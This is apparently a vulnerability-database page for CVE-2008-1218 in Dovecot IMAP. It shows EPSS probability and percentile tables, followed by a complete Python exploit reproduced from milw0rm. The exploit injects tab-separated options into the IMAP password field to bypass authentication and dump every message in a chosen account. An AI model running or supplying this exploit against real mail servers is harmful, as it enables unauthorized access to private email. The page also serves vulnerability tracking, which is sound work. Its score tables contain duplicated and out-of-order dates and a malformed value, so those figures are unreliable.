CVE-2008-1218 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	12.57%	–	–
2022-04-03	–	–	12.57%	–	–
2023-02-26	–	–	12.57%	–	–
2023-03-12	–	–	–	6.23%	–
2023-06-11	–	–	–	6.23%	–
2023-09-24	–	–	–	6.77%	–
2023-10-29	–	–	–	7.51%	–
2024-02-11	–	–	–	7.51%	–
2024-06-02	–	–	–	7.51%	–
2024-08-25	–	–	–	7.72%	–
2024-12-08	–	–	–	3.43%	–
2024-12-22	–	–	–	3.43%	–
2025-01-12	–	–	–	8.14%	–
2025-02-23	–	–	–	10.72%	–
2025-01-19	–	–	–	8.14%	–
2025-02-23	–	–	–	10.72%	–
2025-03-18	–	–	–	–	16.66%
2025-03-18	–	–	–	–	16.66,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	9%
2022-04-03	95%
2023-02-26	96%
2023-03-12	92%
2023-06-11	93%
2023-09-24	93%
2023-10-29	93%
2024-02-11	94%
2024-06-02	94%
2024-08-25	94%
2024-12-08	92%
2024-12-22	91%
2025-01-12	94%
2025-02-23	95%
2025-01-19	94%
2025-02-23	95%
2025-03-18	94%
2025-03-18	94%

#lame Dovecot IMAP [1.0.10 -> 1.1rc3] Exploit #Here's an exploit for the recent TAB vulnerability in Dovecot. #It's nothing special since in the wild there are few to none #targets because of the special option which has to be set. #see CVE Entry CVE-2008-1218 #Exploit written by Kingcope import sys import imaplib print "Dovecot IMAP [1.0.10 -> 1.1rc2] Exploit" print "Prints out all E-Mails for any account if special configuration option is set" print "Exploit written by kingcope\n" if len(sys.argv)<3: print "usage: %s <hostname/ip address> <account> [-nossl]" % sys.argv[0] exit(0); if len(sys.argv)>3 and sys.argv[3] == "-nossl": M = imaplib.IMAP4(sys.argv[1]) else: M = imaplib.IMAP4_SSL(sys.argv[1]) M.login(sys.argv[2], "\"\tmaster_user=root\tskip_password_check=1\""); M.select() print "login succeeded." typ, data = M.search(None, 'ALL') k=0 for num in data[0].split(): typ, data = M.fetch(num, '(RFC822)') print 'Message %s\n%s\n' % (num, data[0][1]) k=k+1 M.close() M.logout() print "Messages read: %s" % k # milw0rm.com [2008-03-14]